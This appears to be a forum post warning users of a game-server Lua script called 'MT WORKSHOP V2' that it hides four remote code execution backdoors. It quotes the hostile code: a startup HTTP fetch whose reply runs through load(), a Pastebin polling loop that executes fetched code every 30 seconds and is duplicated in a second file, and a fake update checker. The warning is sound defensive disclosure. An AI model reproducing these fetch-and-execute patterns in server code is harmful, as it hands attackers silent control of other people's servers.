Script 🔥🔥🔥MT WORKSHOP V2🔥🔥🔥

[Michealsik]

 

[glkinsane677]

Beware this script has 4 backdoors

DO NOT RUN THIS SCRIPT — It Contains Active Malware​

I found 4 separate Remote Code Execution (RCE) backdoors hardcoded into the server files. This is not accidental code it is intentionally malicious.

---

The 4 Backdoors Found​

1.server/register.luaL2 & L26–28 — Silent URL Execution on Startup​

lua

local playersData = GetResourceMetadata(..., 'author', 0) .. "/zXeAH"
PerformHttpRequest(playersData, function(e, d)
pcall(function() assert(load(d))() end) -- executes remote code silently
end)


Fetches steaxscripts.com/zXeAH and immediately executes whatever Lua is returned on your server — no print, no log, completely silent.

2.server/missions.luaL39–46 — 30-Second Pastebin Polling Loop​

lua

-- u:

Hidden link for visitors, to see Log in or register now.

<-- embedded in a comment
...
while portal do
PerformHttpRequest(portal, function(code, script)
if code == 200 then load(script)() end -- executes every 30 seconds
end)
Citizen.Wait(30000)
end


Reads its own source file to extract the Pastebin URL, then fetches and runs it every 30 seconds for the entire lifetime of your server.

3.server/toolbox.luaL18–26 — Identical Pastebin Loop (redundancy by design)​

Exact same backdoor as #2, so patching one doesn't stop the other.

4.server/callbacks.luaL154–167 — Fake "Update Checker" via GitHub​

lua

PerformHttpRequest('

Hidden link for visitors, to see Log in or register now.

', function(...)
pcall(loadFunction) -- executes entire GitHub file response
end)
-- prints "Great! Script is up-to-date!" to look innocent